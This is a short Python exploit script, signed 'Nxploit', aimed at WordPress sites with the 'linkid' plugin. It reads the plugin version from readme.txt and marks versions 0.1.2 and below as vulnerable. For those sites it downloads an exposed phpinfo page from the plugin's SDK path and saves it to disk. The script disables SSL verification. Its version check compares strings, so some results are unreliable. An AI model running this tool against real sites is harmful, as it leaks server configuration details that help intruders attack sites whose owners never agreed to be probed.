import argparse
import requests

# Nxploit | Khaled_alenazi

requests.packages.urllib3.disable_warnings() # Disable SSL verification warnings
session = requests.Session()
session.verify = False  # Ignore SSL verification

def log_message(message, output_file):
    # Print and write message
    print(message)
    output_file.write(message + "\n")

def check_version(url, output_file):
    readme_url = f"{url}/wp-content/plugins/linkid/readme.txt"
    try:
        response = session.get(readme_url)
        response.raise_for_status()  # Raise error for bad status

        if "Stable tag: " in response.text:
            version_line = next(line for line in response.text.split('\n') if "Stable tag: " in line)
            version = version_line.split(": ")[1].strip()
            log_message(f"Found version: {version}", output_file)

            if version <= "0.1.2":
                log_message("The site is vulnerable.", output_file)
                show_php_info(url, output_file)
            else:
                log_message("The site is not vulnerable.", output_file)
        else:
            log_message("Stable tag not found in the readme.txt file.", output_file)
    except requests.RequestException as e:
        log_message(f"Error fetching the readme.txt file: {e}", output_file)

def show_php_info(url, output_file):
    php_info_url = f"{url}/wp-content/plugins/linkid/lib/linkid/linkid-sdk-php/util/index.php"
    try:
        response = session.get(php_info_url)
        response.raise_for_status()  # Raise error for bad status

        with open("phpinfo.php", "w") as file:
            file.write(response.text)

        log_message("PHP info saved to phpinfo.php", output_file)
        log_message(f"PHP info URL: {php_info_url}", output_file)
    except requests.RequestException as e:
        log_message(f"Error fetching the PHP info file: {e}", output_file)

def main():
    parser = argparse.ArgumentParser(description="Check WordPress plugin version and fetch PHP info.")
    parser.add_argument("-u", "--url", required=True, help="Base URL of the WordPress site")

    args = parser.parse_args()

    with open("output.txt", "w") as output_file:
        check_version(args.url, output_file)

if __name__ == "__main__":
    main()